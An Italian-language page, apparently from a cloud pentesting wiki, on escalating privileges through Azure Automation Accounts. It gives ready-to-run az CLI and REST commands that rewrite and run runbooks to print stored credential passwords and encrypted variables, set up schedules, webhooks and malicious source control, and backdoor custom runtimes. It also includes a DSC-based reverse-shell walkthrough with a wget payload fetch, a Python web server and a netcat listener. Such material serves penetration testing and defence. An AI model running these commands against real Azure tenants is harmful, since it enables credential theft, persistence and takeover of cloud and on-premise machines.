# Az - Azure Automation Accounts Privesc

{{#include ../../../banners/hacktricks-training.md}}

## Azure Automation Accounts

Per maggiori informazioni consulta:

{{#ref}}
../az-services/az-automation-accounts.md
{{#endref}}

### Hybrid Workers Group

- **From the Automation Account to the VM**

Ricorda che se in qualche modo un attacker può eseguire un runbook arbitrario (codice arbitrario) in un hybrid worker, potrà **pivotare verso la posizione della VM**. Questa potrebbe essere una macchina on-premise, una VPC di un altro cloud o anche una Azure VM.

Inoltre, se l'hybrid worker sta girando in Azure con altre Managed Identities attachate, il runbook potrà accedere alla **managed identity del runbook e a tutte le managed identities della VM tramite il metadata service**.

> [!TIP]
> Ricorda che il **metadata service** ha una URL diversa (**`http://169.254.169.254`**) rispetto al servizio da cui ottenere il token delle managed identities dell'automation account (**`IDENTITY_ENDPOINT`**).

- **From the VM to the Automation Account**

Inoltre, se qualcuno compromette una VM dove gira uno script di un Automation Account, sarà in grado di localizzare i metadata dell'Automation Account e accedervi dalla VM per ottenere token per le Managed Identities associate all'Automation Account.

Come si può vedere nell'immagine seguente, avendo accesso Administrator sulla VM è possibile trovare nelle **environment variables del processo** l'URL e il secret per accedere al automation account metadata service:

![](</images/vm_to_aa.jpg>)


### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)

In sintesi queste permission permettono di **creare, modificare ed eseguire Runbooks** nell'Automation Account, che potresti usare per **eseguire codice** nel contesto dell'Automation Account ed escalare privilegi alle Managed Identities assegnate e leak **credenziali** e **variabili criptate** memorizzate nell'Automation Account.

La permission **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** permette di modificare il codice di un Runbook nell'Automation Account usando:
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
--resource-group Resource_Group_1 \
--automation-account-name autoaccount1 \
--name AzureAutomationTutorialWithIdentity \
--content '$creds = Get-AutomationPSCredential -Name "<credential-name>"
$runbook_variable = Get-AutomationVariable -Name "<encrypted-variable-name>"
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password'
```
Nota come lo script precedente può essere usato per il **leak dello username e della password** di una credenziale e il valore di una **variabile cifrata** memorizzata nell'Automation Account.

Il permesso **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** permette all'utente di pubblicare un Runbook nell'Automation Account in modo che le modifiche vengano applicate:
```bash
az automation runbook publish \
--resource-group <res-group> \
--automation-account-name <account-name> \
--name <runbook-name>
```
Il permesso **`Microsoft.Automation/automationAccounts/jobs/write`** consente all'utente di eseguire un Runbook nell'Automation Account tramite:
```bash
az automation runbook start \
--automation-account-name <account-name> \
--resource-group <res-group> \
--name <runbook-name> \
[--run-on <name-hybrid-group>]
```
Il permesso **`Microsoft.Automation/automationAccounts/jobs/output/read`** consente all'utente di leggere l'output di un job nell'Automation Account usando:
```bash
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
```
Se non sono stati creati Runbooks, o vuoi crearne uno nuovo, avrai bisogno delle **autorizzazioni `Microsoft.Resources/subscriptions/resourcegroups/read` e `Microsoft.Automation/automationAccounts/runbooks/write`** per farlo usando:
```bash
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell
```
### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`

Questa autorizzazione permette all'utente di **assign a user managed identity** all'Automation Account usando:
```bash
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
--headers "Content-Type=application/json" \
--body '{
"identity": {
"type": "UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-managed-identity-name>": {}
}
}
}'
```
### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write`

Con il permesso **`Microsoft.Automation/automationAccounts/schedules/write`** è possibile creare un nuovo Schedule nell'Automation Account che viene eseguito ogni 15 minuti (non molto stealth) utilizzando il seguente comando.

Nota che l'**intervallo minimo per uno Schedule è di 15 minuti**, e che il **tempo di inizio minimo è di 5 minuti** a partire da ora.
```bash
## For linux
az automation schedule create \
--resource-group <RESOURCE_GROUP> \
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
--name <SCHEDULE_NAME> \
--description "Triggers runbook every minute" \
--start-time "$(date -u -d "7 minutes" +%Y-%m-%dT%H:%M:%SZ)" \
--frequency Minute \
--interval 15

## Form macOS
az automation schedule create \
--resource-group <RESOURCE_GROUP> \
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
--name <SCHEDULE_NAME> \
--description "Triggers runbook every 15 minutes" \
--start-time "$(date -u -v+7M +%Y-%m-%dT%H:%M:%SZ)" \
--frequency Minute \
--interval 15
```
Poi, con il permesso **`Microsoft.Automation/automationAccounts/jobSchedules/write`** è possibile assegnare uno Scheduler a un runbook usando:
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"runOn": "",
"runbook": {
"name": "<runbook-name>"
},
"schedule": {
"name": "<scheduler-name>>"
},
"parameters": {}
}
}'
```
> [!TIP]
> Nell'esempio precedente l'id jobchedule è stato lasciato come **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` come esempio** ma dovrai usare un valore arbitrario per creare questa assegnazione.

### `Microsoft.Automation/automationAccounts/webhooks/write`

Con il permesso **`Microsoft.Automation/automationAccounts/webhooks/write`** è possibile creare un nuovo Webhook per un Runbook all'interno di un Automation Account usando uno dei seguenti comandi.

Con Azure Powershell:
```bash
New-AzAutomationWebHook -Name <webhook-name> -ResourceGroupName <res-group> -AutomationAccountName <automation-account-name> -RunbookName <runbook-name> -IsEnabled $true
```
Con AzureCLI e REST:
```bash
az rest --method put \
--uri "https://management.azure.com/subscriptions/<subscriptionID>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/webhooks/<webhook-name>?api-version=2015-10-31" \
--body '{
"name": "<webhook-name>",
"properties": {
"isEnabled": true,
"expiryTime": "2027-12-31T23:59:59+00:00",
"runOn": "<worker name>",
"runbook": {
"name": "<runbook-name>"
}
}
}'
```
Questi comandi dovrebbero restituire un webhook URI che viene visualizzato solo alla creazione. Poi, per invocare il runbook usando il webhook URI
```bash
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
-H "Content-Length: 0"
```
### `Microsoft.Automation/automationAccounts/runbooks/draft/write`

Solo con il permesso `Microsoft.Automation/automationAccounts/runbooks/draft/write` è possibile **aggiornare il codice di un Runbook** senza pubblicarlo e avviarlo utilizzando i seguenti comandi.
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
--resource-group Resource_Group_1 \
--automation-account-name autoaccount1 \
--name AzureAutomationTutorialWithIdentity \
--content 'echo "Hello World"'

# Run the unpublished code
## Indicate the name of the hybrid worker group in runOn to execute the runbook there
az rest \
--method PUT \
--url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob?api-version=2023-05-15-preview" \
--headers "Content-Type=application/json" \
--body '{
"parameters": {},
"runOn": "",
"runtimeEnvironment": "PowerShell-5.1"
}'

# Get the output (a different permission is needed here, but you could get a revershell or exfiltrate the token to avoid needing this permission)
az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob/streams?api-version=2019-06-01"
```
### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`)

Questa autorizzazione consente all'utente di **configurare il controllo del codice sorgente** per l'Automation Account usando un comando come il seguente (in questo esempio viene usato Github):
```bash
az automation source-control create \
--resource-group <res-group> \
--automation-account-name <automation-account-name> \
--name RemoteGithub \
--repo-url https://github.com/carlospolop/gh-runbooks.git \
--branch main \
--folder-path /runbooks/ \
--publish-runbook true \
--auto-sync \
--source-type GitHub \
--token-type PersonalAccessToken \
--access-token github_pat_11AEDCVZ<rest-of-the-token>
```
Questo importerà automaticamente i runbook dal repository Github nell'Automation Account e, con alcune altre autorizzazioni per avviarne l'esecuzione, sarebbe **possibile elevare i privilegi**.

Moreover, remember that for source control to work in Automation Accounts it must have a managed identity with the role **`Contributor`** and if it's a user managed identity the cleint id of the MI must be specified in the variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.

> [!TIP]
> Nota che non è possibile modificare l'URL del repo di uno source control una volta creato.

### `Microsoft.Automation/automationAccounts/variables/write`

Con il permesso **`Microsoft.Automation/automationAccounts/variables/write`** è possibile scrivere variabili nell'Automation Account usando il seguente comando.
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
--headers "Content-Type=application/json" \
--body '{
"name": "<variable-name>",
"properties": {
"description": "",
"value": "\"<variable-value>\"",
"isEncrypted": false
}
}'
```
### Ambienti di runtime personalizzati

Se un automation account usa un custom runtime, potrebbe essere possibile sovrascrivere un pacchetto custom del runtime con del codice malevolo (come **una backdoor**). In questo modo, ogni volta che un runbook che usa quel custom runtime viene eseguito e carica il pacchetto custom, il codice malevolo verrà eseguito.

### Compromissione della State Configuration

**Leggi il post completo su:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)

- Step 1 — Creazione dei file

**File necessari:** Sono necessari due script PowerShell:
1. `reverse_shell_config.ps1`: Un file Desired State Configuration (DSC) che recupera ed esegue il payload. È reperibile su [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
2. `push_reverse_shell_config.ps1`: Uno script per pubblicare la configurazione sulla VM, disponibile su [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).

**Personalizzazione:** Le variabili e i parametri in questi file devono essere adattati all'ambiente specifico dell'utente, inclusi nomi delle risorse, percorsi dei file e identificatori del server/payload.

- Step 2 — Zip del file di configurazione

Il `reverse_shell_config.ps1` viene compresso in un file `.zip`, pronto per il trasferimento su Azure Storage Account.
```bash
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
```
- Passo 3 — Imposta contesto Storage & Upload

Il file di configurazione zippato viene caricato in un container di Azure Storage predefinito, azure-pentest, usando il cmdlet Set-AzStorageBlobContent di Azure.
```bash
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
```
- Passo 4 — Prepara Kali Box

Il server Kali scarica il payload RevPS.ps1 da un repository GitHub.
```bash
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
```
Lo script viene modificato per specificare la Windows VM di destinazione e la porta per il reverse shell.

- Step 5 — Pubblica il file di configurazione

Il file di configurazione viene eseguito, facendo sì che lo script di reverse-shell venga distribuito nella posizione specificata sulla Windows VM.

- Step 6 — Ospita il payload e configura il listener

Viene avviato un Python SimpleHTTPServer per ospitare il payload, insieme a un listener Netcat per catturare le connessioni in arrivo.
```bash
sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443
```
Il scheduled task esegue il payload, ottenendo privilegi di livello SYSTEM.

{{#include ../../../banners/hacktricks-training.md}}
